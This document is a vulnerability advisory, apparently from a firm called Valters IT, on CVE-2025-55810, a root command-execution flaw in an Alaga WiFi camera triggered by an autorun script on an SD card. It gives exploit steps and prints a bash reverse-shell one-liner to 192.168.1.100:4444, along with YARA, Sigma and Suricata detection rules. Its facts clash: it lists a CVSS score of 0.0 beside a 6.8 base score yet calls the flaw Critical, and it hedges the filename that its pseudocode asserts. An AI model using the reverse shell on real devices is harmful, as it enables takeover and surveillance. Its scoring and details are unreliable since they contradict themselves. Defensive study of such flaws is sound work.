CVE-2025-55810

Executive Summary

CVE-2025-55810 is a critical vulnerability in the Alaga Home Security WiFi Camera 3K (model S-CW2503C-H) with hardware version V03 and firmware version 1.4.2. The flaw allows a physical attacker to execute arbitrary commands as the root user by placing a specially crafted script file with a specific name on an SD card. When the camera reads the SD card, the script is automatically executed with root privileges, leading to full device compromise. This vulnerability is unpatched and poses a significant risk to physical security and privacy.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a hardware/firmware issue in an IoT device.

CVSS Breakdown & Threat Level

CVSS Score: 0.0 (Base Score: 6.8, Vector: CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

• Attack Vector (AV): Physical (AV:P) – The attacker must have physical access to the device to insert an SD card.
• Attack Complexity (AC): Low (AC:L) – No special conditions or mitigations are required.
• Privileges Required (PR): None (PR:N) – No authentication is needed.
• User Interaction (UI): None (UI:N) – The camera automatically processes the SD card.
• Scope (S): Unchanged (S:U) – The vulnerability affects only the camera.
• Confidentiality (C): High (C:H) – Full access to video feeds and stored data.
• Integrity (I): High (I:H) – The attacker can modify firmware and settings.
• Availability (A): High (A:H) – The attacker can disable the camera or use it for malicious purposes.

Threat Level: Critical. Physical access allows complete takeover of the device, enabling surveillance, data theft, or use as a botnet node.

Deep Dive & Mechanics

The vulnerability resides in the firmware’s SD card handling routine. When an SD card is inserted, the firmware scans for a script file with a specific name (e.g., autorun.sh or startup.sh). Due to insufficient validation, the firmware executes this script with root privileges without checking its origin or integrity.

Root Cause: The firmware lacks proper input validation and privilege separation. The SD card automount process does not sanitize or restrict the execution of user-supplied scripts.

Attack Flow:

1. Attacker gains physical access to the camera.
2. Attacker inserts an SD card containing a malicious script (e.g., autorun.sh).
3. The camera’s firmware detects the SD card and executes the script as root.
4. The script can perform any action, such as opening a reverse shell, exfiltrating video feeds, or installing persistent malware.

Vulnerable vs. Patched Code

Vulnerable Code (Firmware 1.4.2):

// Pseudocode for SD card handling
void handle_sd_card() {
    if (sd_card_present()) {
        char *script_path = "/mnt/sd/autorun.sh";
        if (file_exists(script_path)) {
            system(script_path); // Executes with root privileges
        }
    }
}

Patched Code (Hypothetical):

void handle_sd_card() {
    if (sd_card_present()) {
        char *script_path = "/mnt/sd/autorun.sh";
        if (file_exists(script_path)) {
            // Verify script signature or hash
            if (verify_signature(script_path)) {
                // Execute with reduced privileges
                run_as_user("nobody", script_path);
            } else {
                log_error("Unauthorized script detected");
            }
        }
    }
}

The patched version would require cryptographic verification and privilege dropping.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Physical access to the Alaga S-CW2503C-H camera.
• An SD card (FAT32 formatted).
• A computer to create the malicious script.

Exploit Steps:

1. Create a malicious script file named autorun.sh on the SD card.
2. Insert the SD card into the camera.
3. The script executes automatically.

Example Malicious Script:

#!/bin/sh
# Reverse shell to attacker's machine
/bin/bash -i >& /dev/tcp/192.168.1.100/4444 0>&1

Usage:

• Place the script on the SD card.
• Insert the SD card into the camera.
• The camera will execute the script, providing a root shell to the attacker.

Blue Team

Detection:

• Monitor for unexpected SD card insertions.
• Check for unauthorized script files on SD cards.
• Use network monitoring to detect reverse shells or unusual outbound connections.

Mitigation:

• Disable SD card auto-execution if possible.
• Implement physical security controls (e.g., lock the camera enclosure).
• Apply firmware updates if available.

Indicators of Compromise (IOCs)

• File: autorun.sh or startup.sh on an SD card inserted into the camera.
• Process: Unexpected shell processes (e.g., /bin/bash) running as root.
• Network: Outbound connections to unknown IP addresses on ports like 4444, 8080, or 31337.
• Logs: System logs showing execution of scripts from /mnt/sd/.

Detection Engineering

YARA Rule

rule CVE_2025_55810_SD_Card_Script {
    meta:
        description = "Detects malicious autorun scripts for CVE-2025-55810"
        author = "Valters IT"
        date = "2025-01-01"
    strings:
        $script_name = "autorun.sh" nocase
        $script_name2 = "startup.sh" nocase
        $bash_shell = "/bin/bash" nocase
        $reverse_shell = "/dev/tcp/" nocase
    condition:
        ($script_name or $script_name2) and ($bash_shell or $reverse_shell)
}

Sigma Rule

title: CVE-2025-55810 - SD Card Autorun Execution
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects execution of scripts from SD card on Alaga cameras
author: Valters IT
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith: '/bin/bash'
        CommandLine|contains: '/mnt/sd/'
    condition: selection
falsepositives:
    - Legitimate SD card scripts (rare)
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-55810 - Possible Reverse Shell from Alaga Camera"; flow:to_server,established; content:"/bin/bash"; content:"/dev/tcp/"; distance:0; within:100; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Physical Security: Restrict physical access to the camera. Use tamper-evident seals or enclosures.
2. SD Card Management: Do not insert untrusted SD cards. If possible, disable the SD card slot via firmware settings.
3. Network Segmentation: Place the camera on an isolated VLAN with strict egress filtering.

Long-Term Fix:

• The vendor (Alaga) must release a firmware update that:
  • Removes automatic script execution from SD cards.
  • Implements code signing for any executable content.
  • Drops privileges before executing any user-supplied code.

Workaround:

• If firmware update is unavailable, consider replacing the device with a more secure alternative.

Valters IT